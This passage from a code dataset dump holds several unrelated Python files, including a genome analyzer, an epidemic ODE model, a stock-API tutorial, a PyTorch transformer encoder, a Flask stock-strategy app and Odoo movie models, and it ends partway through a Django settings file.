self.analyzer.nucComposition()\n codonComp = self.analyzer.codonComposition()\n aaComp = self.analyzer.aaComposition()\n\n '''extract data from dictionaries'''\n sequenceLength = self.analyzer.nucCount() / 1000000\n gcContent = 0\n if sequenceLength > 0:\n gcContent = ((nucComp['G'] + nucComp['C']) / sum(nucComp.values())) * 100\n\n '''output data'''\n print(\"sequence length = %0.2f Mb\\n\" % sequenceLength)\n print(\"GC content = %0.1f %% \\n\" % gcContent)\n\n for codon, aa in sorted(self.analyzer.rnaCodonTable.items()):\n codonFrequency = 0\n '''check if file has any aa in it'''\n if sequenceLength > 0:\n codonFrequency = (codonComp[codon] / aaComp[aa]) * 100\n '''print out information on codon bias'''\n print(\"%s : %s %5.1f (%6d)\" % (codon, aa, codonFrequency, codonComp[codon]))\n\ndef main():\n analyzer = geneomeAnalzer()\n analyzer.analyze()\n\nmain()","sub_path":"Lab04/genomeAnalyzer.py","file_name":"genomeAnalyzer.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"582998952","text":"import abc\r\nimport numbers\r\n\r\nimport numpy\r\nimport scipy.optimize\r\nimport scipy.sparse\r\nimport scipy.sparse.linalg\r\nimport sklearn.base\r\nimport sklearn.utils.validation\r\nimport pandas as pd\r\nfrom . import base\r\nimport prob_spline\r\nimport matplotlib.pyplot as pyplot\r\nimport scipy.stats\r\nfrom time import gmtime, strftime\r\n\r\nclass Seasonal_Spline_ODE():\r\n\r\n\tdef __init__(self, bc_splines, bm_splines, mos_curve,tstart,tend,beta_1=1,find_beta=0,eps=.001,counter=0):\r\n\t\tself.tstart = tstart\r\n\t\tself.tend = tend\r\n\t\tself.time_trans = 365./prob_spline.period()\r\n\t\tself.eps = eps # The rate at which birds entering the population enter already infected with EEE\r\n\t\tif find_beta==1:\r\n\t\t\tval = scipy.optimize.minimize(self.findbeta,beta_1,args=(bm_splines,bc_splines,mos_curve),method='COBYLA',options={\"disp\":False})\r\n\t\t\tself.beta_1=val.x\r\n\t\t\tprint(counter)\r\n\t\telse:\r\n\t\t\tself.beta_1 = beta_1\r\n\t\tself.bc_splines = bc_splines\r\n\t\tself.bm_splines = bm_splines\r\n\t\tself.mos_curve = mos_curve\r\n\t\tself.Y = self.run_ode(self.beta_1,bm_splines,bc_splines,mos_curve)\r\n\r\n\tdef alpha_calc(self,bm,counts): #If 0 bm returns 0, atm if 0 counts returns inf\r\n\t\tbm_rat = bm / numpy.sum(bm)\r\n\t\tcount_rat = counts / numpy.sum(counts)\r\n\t\twith numpy.errstate(divide=\"ignore\"):\r\n\t\t\t#alpha = numpy.where(count_rat>10**-5,bm_rat/count_rat,0)\r\n\t\t\talpha = numpy.where(count_rat>0,bm_rat/count_rat,0)\r\n\t\t\tweight = numpy.sum(alpha*counts,axis=0)\r\n\t\t\treturn(alpha/weight)\r\n\r\n\tdef rhs(self,Y,t, bc_splines, bm_splines, mos_curve):\r\n\t\t# Consider adding epsilon term , for proportion infected entering population eps = .001\r\n\t\tp=self.p\r\n\t\teps = self.eps\r\n\t\ts=Y[0:p]\r\n\t\ti=Y[p:2*p]\r\n\t\tr=Y[2*p:3*p]\r\n\t\tsv=Y[3*p]\r\n\t\tiv=Y[3*p+1]\r\n\t\tc = Y[3*p+1:4*p+1] #cumulative infections\r\n\t\te = Y[4*p+1:5*p+1]\t#exposure\r\n\t\t\r\n\t\ttransform_constant = 365./prob_spline.period()\r\n\r\n\t\talpha_val = self.alpha_calc(bm_splines(t),bc_splines(t))\r\n\t\tN=bc_splines(t)\r\n\t\tN_v = mos_curve(t)\r\n\t\tdenom = numpy.dot(N,alpha_val)\r\n\t\tlambdab = self.beta1*self.v*iv*numpy.array(alpha_val)*N_v/denom\r\n\t\tlambdav = self.v*(numpy.dot(self.beta2*i*N,alpha_val))/denom\r\n\r\n\t\t'''\r\n\t\tNote that bc_splines.pos_der returns the normalized dervivative of the spline, that is\r\n\t\tthe derivative of the spline at the given time, divided by the value of the spline at\r\n\t\tthat given time.\r\n\t\t'''\r\n\r\n\t\tds = bc_splines.pos_der(t)*(1-eps-s) - lambdab*s\r\n\t\tdi = bc_splines.pos_der(t)*(eps-i) + lambdab*s - self.gammab*i\r\n\t\tdr = self.gammab*i - r*bc_splines.pos_der(t)\r\n\t\tdsv = mos_curve.pos_der(t)*iv-lambdav*sv + self.dv*iv \r\n\t\tdiv = lambdav*sv - mos_curve.pos_der(t)*iv - self.dv*iv\r\n\r\n\t\tdc = lambdab*s*N \t\t#cumulative infections eq\r\n\t\t#de = numpy.sum(s*N) \t\t\t#exposure eq\r\n\t\tde = bc_splines.pos_der(t)*N\t\t# proposed change\r\n\r\n\r\n\t\tdY = numpy.hstack((ds,di,dr,dsv,div,dc,de)) # the 365/2 is the rate of change of the time transform\r\n\t\treturn dY\r\n\r\n\tdef run_ode(self,beta1,bm_splines,bc_splines,mos_curve):\r\n\t\tself.p = len(bm_splines.Y)\r\n\t\tself.beta2 = 1\r\n\t\tself.gammab = .1*numpy.ones(self.p)*self.time_trans\r\n\t\tself.v=.14*self.time_trans\t\t# Biting Rate of Vectors on Hosts\r\n\t\tself.b=0*self.time_trans\t\t\t# Bird \"Recruitment\" Rate\r\n\t\tself.d=0*self.time_trans\t\t\t# Bird \"Death\" Rate\r\n\t\tself.dv=.10*self.time_trans\t\t\t# Mosquito Mortality Rate\r\n\t\tself.dEEE= 0*self.time_trans\t\r\n\t\tself.beta1= beta1\r\n\t\t # Run for ~ 6 Months\r\n\t\t\r\n\t\tT = scipy.linspace(self.tstart,self.tend,1001)\r\n\t\tSv = .99\r\n\t\tIv = .01\r\n\t\tS0 = 1*numpy.ones(self.p)\r\n\t\tI0 = .00*numpy.ones(self.p)\r\n\t\tR0 = 0*numpy.ones(self.p)\r\n\t\tC0 = 0*numpy.ones(self.p)\r\n\t\tE0 = bc_splines(self.tstart)\r\n\r\n\t\tY0 = numpy.hstack((S0, I0, R0, Sv, Iv,C0,E0))\r\n\t\tY = scipy.integrate.odeint(self.rhs,Y0,T,args = (bc_splines,bm_splines,mos_curve),mxstep = 0, full_output=0)\r\n\t\treturn(Y)\r\n\t\t\r\n\tdef get_SIR_vals(self,Y):\t\t# Takes the values from scipy.integrate.odeint and returns the SIR vals\r\n\t\tp=self.p\r\n\t\tS=Y[:,0:p]\r\n\t\tI=Y[:,p:2*p]\r\n\t\tR=Y[:,2*p:3*p]\r\n\t\tsv=Y[:,3*p]\r\n\t\tiv=Y[:,3*p+1]\r\n\t\tc = Y[:,3*p+2:4*p+2]\r\n\t\te = Y[:,4*p+2:5*p+2]\r\n\t\treturn(S,I,R,sv,iv,c,e)\r\n\r\n\tdef eval_ode_results(self,alpha=1):\t\r\n\t\timport pylab\r\n\t\timport seaborn\r\n\t\tself.birdnames = self.bc_splines.birdnames\r\n\t\tcolors = seaborn.color_palette('Dark2')+['black']\r\n\t\tseaborn.set_palette(colors)\r\n\t\tname_list = list(self.birdnames)\r\n\t\tname_list.append('Vector')\r\n\t\tT = scipy.linspace(self.tstart,self.tend,1001)\r\n\t\tp = self.p\r\n\t\ts,i,r,sv,iv,c,e = self.get_SIR_vals(self.Y)\r\n\t\tbc = numpy.zeros((p,len(T)))\r\n\t\tbm = numpy.zeros((p,len(T)))\r\n\t\talpha_val = numpy.zeros((p,len(T)))\r\n\t\tmos_pop = numpy.zeros(len(T))\r\n\t\tbc = self.bc_splines(T)\r\n\t\tbm = self.bm_splines(T)\r\n\t\talpha_val = self.alpha_calc(self.bm_splines(T),self.bc_splines(T))*self.bc_splines(T)\r\n\t\tmos_pop = self.mos_curve(T)\t\r\n\t\tsym = ['b','g','r','c','m','y','k','--','g--']\r\n\t\tpylab.figure(1)\r\n\t\tfor k in range(self.p):\r\n\t\t\tpylab.plot(prob_spline.inv_time_transform(T),bc[k],alpha=alpha)\r\n\t\tpylab.title(\"Populations\")\r\n\t\tpylab.legend(name_list)\r\n\t\tN=s+i+r\r\n\t\tN=numpy.clip(N,0,numpy.inf)\r\n\t\tpylab.figure(2)\r\n\t\tfor k in range(self.p):\r\n\t\t\ttemp=i[:,k]\r\n\t\t\tpylab.plot(prob_spline.inv_time_transform(T),temp,alpha=alpha)\t\r\n\t\tpylab.legend(self.birdnames)\r\n\t\tpylab.title(\"Infected Birds\")\r\n\t\tpylab.figure(3)\r\n\t\tfor k in range(self.p):\r\n\t\t\tpylab.plot(prob_spline.inv_time_transform(T),alpha_val[k],alpha=alpha)\r\n\t\tpylab.legend(self.birdnames)\r\n\t\tpylab.title(\"Feeding Index Values\")\r\n\t\treturn()\r\n\r\n\tdef findbeta(self,beta1,bm_splines,bc_splines,mos_curve): \r\n\t\tprint(beta1)\r\n\t\tY = self.run_ode(beta1,bm_splines,bc_splines,mos_curve)\r\n\t\ts,i,r,sv,iv,c,e = self.get_SIR_vals(Y)\r\n\t\tfinalrec = numpy.where(numpy.sum(e[-1])>0,numpy.sum(c[-1])/numpy.sum(e[-1]),0)\r\n\t\tfinal = finalrec-.13\r\n\t\t#print(numpy.abs(final))\r\n\t\treturn numpy.abs(final)\r\n\r\n\t\t\t","sub_path":"seasonal_spline_ode.py","file_name":"seasonal_spline_ode.py","file_ext":"py","file_size_in_byte":5708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"144958321","text":"from PyQt5.QtWidgets import QApplication\nfrom kiwoom import *\n\nimport sys\n\n\n\"\"\"\n로그인 후 유저 및 서버에 대한 정보 확인 예제 스크립트로 KOA Studio에서 아래 항목 참조\n\n개발가이드 > 로그인 버전처리 > 관련함수 > GetLoginInfo\n\"\"\"\n\n\n# 서버에 데이터를 요청하는 클래스\nclass Signal:\n def __init__(self, api):\n self.api = api # Kiwoom 인스턴스\n self.acc = ''\n\n def login(self):\n \"\"\"\n 튜토리얼 2.Login.py 참고\n \"\"\"\n # 서버에 접속 요청\n self.api.comm_connect()\n # [필수] 이벤트가 호출될 때까지 대기 (on_event_connect)\n self.api.loop()\n\n def is_connected(self):\n \"\"\"\n 튜토리얼 2.Login.py 참고\n \"\"\"\n # 0 (연결안됨), 1 (연결됨)\n state = self.api.get_connect_state()\n\n if state == 1:\n return True # 연결된 경우\n return False # 연결되지 않은 경우\n\n def account(self):\n \"\"\"\n 기본적인 계좌 및 유저 정보 확인 요청함수\n\n * Note\n get_login_info 함수는 이벤트를 거치지 않고 즉시 요청값을 반환해주기 때문에,\n 별도로 이벤트를 통해 요청한 데이터를 받아볼 수 있는 slot 함수와 api.loop() 함수가 필요없다.\n\n * KOA Studio 참고 가이드\n 개발가이드 > 로그인 버전처리 > 관련함수 > GetLoginInfo\n \"\"\"\n # 로그인 계좌 정보확인 API 개발가이드\n # help(Kiwoom.get_login_info)\n\n cnt = int(self.api.get_login_info('ACCOUNT_CNT')) # 계좌개수\n accounts = self.api.get_login_info('ACCLIST').split(';')[:cnt] # 계좌번호\n\n user_id = self.api.get_login_info('USER_ID') # 유저아이디\n user_name = self.api.get_login_info('USER_NAME') # 유저이름\n\n # 접속 서버 타입\n server = int(self.api.get_login_info('GetServerGubun'))\n server = '모의투자' if server == 1 else '실서버'\n\n # 첫번 째 계좌 사용 (거래종목에 따라 확인)\n self.acc = accounts[0]\n\n return { # 딕셔너리 리턴\n '계좌개수': cnt,\n '계좌번호': accounts,\n '유저아이디': user_id,\n '유저이름': user_name,\n '서버구분': server\n }\n\n\n# 요청했던 데이터를 받는 클래스\nclass Slot:\n def __init__(self, api):\n self.api = api # Kiwoom 인스턴스\n\n def login(self, err_code):\n \"\"\"\n 튜토리얼 2.Login.py 참고\n \"\"\"\n # err_code에 해당하는 메세지\n emsg = config.error.msg(err_code)\n # 로그인 성공/실패 출력\n print(f'Login ({emsg})\\n')\n # [필수] 대기중인 코드 실행\n self.api.unloop()\n\n\n# Signal과 Slot을 활용하는 클래스\nclass Bot:\n def __init__(self):\n \"\"\"\n Bot 인스턴스 초기화 함수\n\n 1) Kiwoom 인스턴스 생성 후 Signal과 Slot 생성 시 입력값으로 넣어준다.\n 2) OnEventConnect 발생 시 Slot.login 함수가 호출되도록 연동해준다.\n \"\"\"\n self.api = Kiwoom()\n self.signal = Signal(self.api)\n self.slot = Slot(self.api)\n\n # 이벤트 발생 시 함수 자동호출을 위한 연결함수\n self.api.connect('on_event_connect', signal=self.signal.login, slot=self.slot.login)\n\n def run(self):\n \"\"\"\n 작성했던 코드 실행함수\n\n 1) 로그인\n 2) 로그인 상태 확인\n 3) 계좌 정보 출력\n \"\"\"\n # 로그인 요청\n self.signal.login()\n\n # 접속 성공여부 확인\n if not self.signal.is_connected():\n raise RuntimeError(f\"Server NOT connected.\")\n # or you may exit script - import sys; sys.exit()\n\n # 계좌 정보 출력\n info = self.signal.account()\n print('-- 계좌 정보 --')\n for key, val in info.items():\n print(f'{key}: {val}')\n\n # ... to be continued\n\n\n# 실행 스크립트\nif __name__ == '__main__':\n \"\"\"\n >> python3 3.Account.py 명령을 통해 실행하거나 IDE를 통해 직접 실행해볼 수 있다. \n \"\"\"\n\n # 통신을 위해 QApplication 이용\n app = QApplication(sys.argv)\n\n # 인스턴스 생성\n bot = Bot()\n\n # 로그인\n bot.run()\n\n # 통신 유지를 위해 ��크립트 종료 방지\n app.exec()\n\n\n\"\"\"\n[실행결과]\nLogin (Error - Code: 0, Type: OP_ERR_NONE, Msg: 정상처리)\n\n-- 계좌 정보 --\n계좌개수: 2\n계좌번호: ['xxxxxxxxxx', 'xxxxxxxxxx']\n유저아이디: breadum\n유저이름: ㅇㅇㅇ\n서버구분: 모의투자\n\"\"\"\n","sub_path":"tutorials/3. Account.py","file_name":"3. Account.py","file_ext":"py","file_size_in_byte":4727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"198511832","text":"# Attach: SR-04 Range finder, switch on SW1, and of course motors.\n\n# The switch stops and starts the robot\n\nfrom rrb2 import *\nimport time, random\n\nrr = RRB2()\n\nmotor_speed = 0.6\n\n# if you dont have a switch, change the value below to True\nrunning = False\n\ndef turn_randomly():\n turn_time = random.randint(1, 3)\n if random.randint(1, 2) == 1:\n rr.left(turn_time, motor_speed)\n else:\n rr.right(turn_time, motor_speed)\n rr.stop()\n\nwhile True:\n distance = rr.get_distance()\n if distance < 50 and running:\n turn_randomly()\n if running:\n rr.forward(0, motor_speed)\n if rr.sw2_closed():\n running = not running\n if not running:\n rr.stop()\n time.sleep(0.2)\n","sub_path":"python/examples/rover_avoiding.py","file_name":"rover_avoiding.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"65669349","text":"import logging\nimport math\nimport os\n\nimport torch\nfrom torch import nn\nfrom torch.nn import CrossEntropyLoss, MSELoss\nfrom einops import rearrange\n\ndef swish(x):\n return x * torch.sigmoid(x)\n\ndef gelu(x):\n return x * 0.5 * (1.0 + torch.erf(x / math.sqrt(2.0)))\n\ndef mish(x):\n return x * torch.tanh(nn.functional.softplus(x))\n\nACT2FN = {\"gelu\": gelu, \"relu\": torch.nn.functional.relu, \"swish\": swish, \"mish\": mish}\n\nclass TransConfig(object):\n \n def __init__(\n self,\n img_size=(16, 16),\n in_channels=3,\n out_channels=11,\n kpt_num=None,\n hidden_size=1024,\n num_hidden_layers=6,\n num_attention_heads=16,\n intermediate_size=1024,\n decoder_features = [512, 256, 128, 64],\n hidden_act=\"gelu\",\n hidden_dropout_prob=0.1,\n attention_probs_dropout_prob=0.1,\n max_position_embeddings=512,\n initializer_range=0.02,\n layer_norm_eps=1e-12,\n ):\n self.img_size = img_size\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kpt_num = kpt_num\n self.hidden_size = hidden_size\n self.num_hidden_layers = num_hidden_layers\n self.num_attention_heads = num_attention_heads\n self.hidden_act = hidden_act\n self.intermediate_size = intermediate_size\n self.decoder_features = decoder_features\n self.hidden_dropout_prob = hidden_dropout_prob\n self.attention_probs_dropout_prob = attention_probs_dropout_prob\n self.max_position_embeddings = max_position_embeddings\n self.initializer_range = initializer_range\n self.layer_norm_eps = layer_norm_eps\n\n\nclass TransLayerNorm(nn.Module): # 实现layernorm\n def __init__(self, hidden_size, eps=1e-12):\n \"\"\"Construct a layernorm module in the TF style (epsilon inside the square root).\"\"\"\n super(TransLayerNorm, self).__init__()\n self.gamma = nn.Parameter(torch.ones(hidden_size))\n self.beta = nn.Parameter(torch.zeros(hidden_size))\n self.variance_epsilon = eps # 防止除0的参数 \n\n def forward(self, x):\n u = x.mean(-1, keepdim=True)\n s = (x - u).pow(2).mean(-1, keepdim=True)\n x = (x - u) / torch.sqrt(s + self.variance_epsilon)\n return self.gamma * x + self.beta\n \n\nclass TransSelfAttention(nn.Module): # multi-head attention\n def __init__(self, config: TransConfig):\n super().__init__()\n if config.hidden_size % config.num_attention_heads != 0:\n raise ValueError(\n \"The hidden size (%d) is not a multiple of the number of attention \"\n \"heads (%d)\" % (config.hidden_size, config.num_attention_heads)\n )\n self.num_attention_heads = config.num_attention_heads\n self.attention_head_size = int(config.hidden_size / config.num_attention_heads)\n self.all_head_size = self.num_attention_heads * self.attention_head_size\n self.proj_q = nn.Linear(config.hidden_size, self.all_head_size)\n self.proj_k = nn.Linear(config.hidden_size, self.all_head_size)\n self.proj_v = nn.Linear(config.hidden_size, self.all_head_size)\n self.dropout = nn.Dropout(config.attention_probs_dropout_prob)\n\n def trans(self, x):\n new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)\n x = x.view(*new_x_shape)\n ## 最后xshape (batch_size, num_attention_heads, seq_len, head_size)\n return x.permute(0, 2, 1, 3)\n\n def forward(self, x, mask):\n q, k, v = self.proj_q(x), self.proj_k(x), self.proj_v(x)\n q, k, v = self.trans(q), self.trans(k), self.trans(v)\n\n # Take the dot product between \"query\" and \"key\" to get the raw attention scores.\n attention_scores = torch.matmul(q, k.transpose(-1, -2)) / math.sqrt(self.attention_head_size)\n # Apply the attention mask is (precomputed for all layers in BertModel forward() function)\n if mask is not None:\n mask = mask[:, None, None, :].float()\n attention_scores -= 10000.0 * (1.0 - mask)\n # Normalize the attention scores to probabilities.\n attention_scores = self.dropout(nn.Softmax(dim=-1)(attention_scores))\n # 注意力加权, 把加权后的V reshape, 得到[batch_size, length, embedding_dimension]\n context_layer = torch.matmul(attention_scores, v).permute(0, 2, 1, 3).contiguous()\n new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)\n context_layer = context_layer.view(*new_context_layer_shape)\n\n return context_layer\n\n\nclass TransSelfOutput(nn.Module): # multi-head attention输出concat之后连接的线性变换层\n def __init__(self, config):\n super().__init__()\n self.dense = nn.Linear(config.hidden_size, config.hidden_size)\n self.norm = TransLayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n\n def forward(self, x, input_tensor):\n x = self.dense(x)\n x = self.dropout(x)\n x = self.norm(x + input_tensor)\n return x\n\n\nclass TransAttention(nn.Module): # 对应embedding层中multi-head attention + add&norm的部分\n def __init__(self, config):\n super().__init__()\n self.self = TransSelfAttention(config)\n self.output = TransSelfOutput(config)\n\n def forward(self, x, mask):\n self_outputs = self.self(x, mask)\n attention_output = self.output(self_outputs, x)\n \n return attention_output\n\n# TransIntermediate与TransOutput一同构成embedding层中feed forward + add&norm的部分\nclass TransIntermediate(nn.Module): \n def __init__(self, config):\n super().__init__()\n self.dense = nn.Linear(config.hidden_size, config.intermediate_size)\n self.act = ACT2FN[config.hidden_act] ## relu \n\n def forward(self, x):\n x = self.dense(x)\n x = self.act(x)\n return x\n\nclass TransOutput(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.dense = nn.Linear(config.intermediate_size, config.hidden_size)\n self.norm = TransLayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n\n def forward(self, x, input_tensor):\n x = self.dense(x)\n x = self.dropout(x)\n x = self.norm(x + input_tensor)\n return x\n\n\nclass TransLayer(nn.Module): # embedding层\n def __init__(self, config):\n super().__init__()\n self.attention = TransAttention(config)\n self.intermediate = TransIntermediate(config)\n self.output = TransOutput(config)\n\n def forward(self, x, mask):\n attention_output = self.attention(x, mask)\n intermediate_output = self.intermediate(attention_output)\n layer_output = self.output(intermediate_output, attention_output)\n return layer_output\n\n\nclass TransEncoder(nn.Module): # n * encoder layers\n def __init__(self, config):\n super().__init__()\n self.layers = nn.ModuleList([TransLayer(config) for _ in range(config.num_hidden_layers)])\n\n def forward(self, x, mask=None):\n all_encoder_layers = []\n for layer in self.layers:\n x = layer(x, mask)\n all_encoder_layers.append(x) \n return all_encoder_layers\n","sub_path":"models/SETRmodify/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":7360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"351215807","text":"#Script utilizzato per estrarre i dati relativi all'area delle province in km2\n\nimport csv \ncitta = [\"Palermo\",\"Napoli\",\"Roma\",\"Milano\",\"Torino\"] # Definiamo la lista delle province che ci servono\n\ndef get_data():\n f = open(\"Superficie province.csv\",\"wt\") # Apriamo il file che conterrà solo i dati che ci servono\n writer = csv.writer(f)\n writer.writerow([\"Provincia\",\"Superficie totale provincia (Km2)\"]) #Scriviamo l'intestazione\n with open(\"Open Data/dataset/Dati comunali e provinciali.csv\",encoding=\"utf8\",errors='ignore') as file:\n reader = csv.reader(file)\n \n for row in reader:\n if row[1] in citta:\n writer.writerow([row[1],row[3].replace(\",\",\".\")])\n\n\nif __name__ == '__main__':\n get_data() \n \n","sub_path":"Codici/superficie.py","file_name":"superficie.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"597435618","text":"import sys\nimport os\n\n__all__ = ['UnitTester']\n\nclass UnitTester:\n\n def __init__(self, module_name):\n self.module_name = module_name\n\n def __call__(self, *args, **kwargs):\n\n import unittest\n\n module = sys.modules[self.module_name]\n base_module = sys.modules[\"main_module\"]\n base_module_path = os.path.abspath(base_module.__path__[0])\n module_path = os.path.relpath(module.__path__[0], base_module_path)\n test_path = os.path.normpath(os.path.join(base_module_path, \"tests\", module_path))\n\n tests = unittest.defaultTestLoader.discover(test_path)\n textTestRunner = unittest.TextTestRunner(*args, **kwargs)\n textTestResult = textTestRunner.run(tests)\n\n return textTestResult.wasSuccessful()","sub_path":"main_module/_unittester.py","file_name":"_unittester.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"86572400","text":"#-*-coding:utf-8-*-\r\n\r\n'''Leer 10 números enteros, almacenarlos en una lista. Luego leer un entero y determinar\r\ncuántos divisores exactos tiene este último número entre los valores almacenados en la lista'''\r\n\r\ntry:\r\n\r\n\tlista=[]\r\n\tlista2=[]\r\n\r\n\tfor a in range(10):\r\n\t\tnumeros=int(input(\"Digite un numero que sera almacenado en la lista: \"))\r\n\t\tlista.append(numeros)\r\n\r\n\tprint(\" \")\t\r\n\tleido=int(input(\"Digite un numero que sera comparado con la lista: \"))\r\n\r\n\taumento=0\t\r\n\tfor b in range(len(lista)):\r\n\t\tif leido%lista[b]==0:\r\n\t\t\taumento+=1\t\r\n\r\n\tif aumento>0:\r\n\t\tprint(\"El numero tiene %d\"%aumento + \" divisores\")\r\n\r\n\telse:\r\n\t\tprint(\"El numero no tiene divisores\")\t\t\t\r\n\r\nexcept ValueError:\r\n\tprint(\"El valor digitado debe ser numerico\")","sub_path":"Listas/31.py","file_name":"31.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"191288933","text":"from flask import Flask, request, render_template, jsonify, Response\r\nfrom pandas import DataFrame\r\nimport matplotlib as plt\r\nimport matplotlib.pyplot as plot\r\nimport numpy as np\r\nimport pandas as pd\r\nimport pandas_datareader as pdr\r\n\r\napp = Flask(__name__)\r\n\r\n\r\ndef stock_analyze():\r\n input_text = request.form['text1']\r\n company_list = input_text.split(\",\")\r\n df=pd.DataFrame()\r\n for i in company_list:\r\n df[i]=pdr.DataReader(i,data_source='yahoo',start='2015/1/1',end='2020/3/31')['Close']#get the close price\r\n \r\n d42=pd.DataFrame()\r\n d252=pd.DataFrame()\r\n d42_252=pd.DataFrame()\r\n \r\n signal=pd.DataFrame()\r\n market=pd.DataFrame()\r\n strategy=pd.DataFrame()\r\n \r\n for i in company_list:\r\n d42[i]=np.round(df[i].rolling(20).mean(),2)#42days moving average\r\n d252[i]=np.round(df[i].rolling(252).mean(),2)#252days moving average\r\n d42.index=d252.index\r\n d42_252[i]=d42[i]-d252[i]#get the lag\r\n \r\n for i in company_list:\r\n SD=5#we set the profit be 5, once the price lower than 5 the signal will be zero.\r\n signal[i]=np.where(d42_252[i]>SD,1,np.where(d42_252[i]<-SD,-1,0))#signal for buying or \r\n market[i]=np.log(df[i]/df[i].shift(1))#Bottom pool stock yield\r\n signal.index=market.index\r\n strategy[i]=signal[i].shift(1)*market[i]#Bottom pool owning stock yield\r\n strategy['strategy']=strategy.sum(axis=1)#Calculate the total return on holdings\r\n \r\n strategy.tail()\r\n strategy['sp500']=pdr.DataReader('^GSPC',data_source='yahoo',start='2015/1/1',end='2020/3/31')['Close']#Benchmark closing price\r\n strategy['market']=np.log(strategy['sp500']/strategy['sp500'].shift(1))#Calculate market returns\r\n strategy[['Market','Strategy']]=strategy[['market','strategy']].cumsum().apply(np.exp)#Calculate the total holding return of market and strategy\r\n\r\n result=['The market holding final return:%s'%strategy['Market'][-1:],\r\n 'The strategy holding final return:%s'%strategy['Strategy'][-1:],\r\n 'Average market return:%s'%strategy['Market'].mean(),\r\n 'Average strategy return:%s'%strategy['Strategy'].mean(),\r\n 'Maximum strategy return:%s'%strategy['Strategy'].max(),\r\n 'Maximum market return:%s'%strategy['Market'].max(),\r\n 'Market maximum pullback in one day:%s'%strategy['market'].min(),\r\n 'Strategy maximum pullback in one day:%s'%strategy['strategy'].min(),\r\n 'Strategy volatility:%s'%strategy['Strategy'].std(),\r\n 'Market volatility:%s'%strategy['Market'].std()]\r\n return (\"\\n\".join(result))\r\n\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template('request.html')\r\n\r\n\r\n@app.route('/join', methods=['GET', 'POST'])\r\ndef my_form_post():\r\n text2 = request.form['text2']\r\n if text2.lower() == 'analyze':\r\n combine = stock_analyze()\r\n result = {\"output\": combine}\r\n result = {str(key): value for key, value in result.items()}\r\n return jsonify(result=result)\r\n else:\r\n print(\"400 Bad request\")\r\n return jsonify(result=\"Not Found\"), 400\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(host='0.0.0.0', port=8000)\r\n #app.run()\r\n","sub_path":"FE595_final.py","file_name":"FE595_final.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"580947509","text":"# -*- coding: utf-8 -*-\n# author : scofield.yu\n\nfrom odoo import api, fields, models\nfrom odoo.exceptions import ValidationError\n\n\nclass YuActor(models.Model):\n _name = 'yu.actor'\n\n name = fields.Char(string='演员')\n area_id = fields.Many2one('yu.area', ondelete='restrict',string='地区')\n birthdate = fields.Date(string=\"出生日期\")\n actor_movies = fields.One2many(\n 'yu.actor.movies.line',\n 'yu_actor_id',\n string='导演电影',\n copy=True\n )\n\n actor_awards = fields.One2many(\n 'yu.actor.awards',\n 'yu_actor_id',\n string='获奖情况',\n copy=True\n )\n\nclass YuActorMoviesList(models.Model):\n _name = 'yu.actor.movies.line'\n\n yu_actor_id = fields.Many2one(\n 'yu.actor',\n string='演员id',\n required=True,\n ondelete='cascade',\n index=True,\n copy=False\n \t)\n movies_id = fields.Many2one(\n string='电影名称',\n comodel_name='yu.movies',\n\n )\n directors= fields.Many2many(string='导演',related='movies_id.directors')\n # actors = fields.Many2many(string='演员',related='movies_id.actors')\n show_date = fields.Date(string='上映时间',related='movies_id.show_date')\n area_id = fields.Many2one(string='地区',related='movies_id.area_id')\n style_ids = fields.Many2many(string='类型',related='movies_id.style_ids')\n score = fields.Float(string='评分(10分制)',related='movies_id.score')\n\nclass YuActorAwards(models.Model):\n _name = 'yu.actor.awards'\n \n yu_actor_id = fields.Many2one(\n 'yu.actor',\n string='获奖情况',\n required=True,\n ondelete='cascade',\n index=True,\n copy=False\n )\n # 哪一届?什么奖?\n movies_awards_id = fields.Many2one('yu.awards',string='电影奖',ondelete='restrict')\n # 1部电影多个奖项?\n awards_type_id = fields.Many2one('yu.awards.type',string='奖项',ondelete='restrict')\n\n awards = fields.Selection(\n string='获奖/提名',\n selection='_get_movie_awards',\n )\n movies_id = fields.Many2one(\n\t string='获奖电影',\n\t comodel_name='yu.movies',\n\t)\n\n @api.model\n def _get_movie_awards(self):\n return [\n ('1', '🏆'),\n ('0', '提名')\n ]","sub_path":"models/yu_actor.py","file_name":"yu_actor.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"212886656","text":"from calipsoplus.settings import *\n\nALLOWED_HOSTS = ['192.168.33.11']\n\nDJANGO_ENV = 'LOCAL'\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'mydatabase'\n },\n 'guacamole': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'guacamole'\n }\n}\n\n# logs\nLOGGING['loggers']['apprest']['handlers'] = ['console']\n\nTESTING_MODE = True\n\n# docker 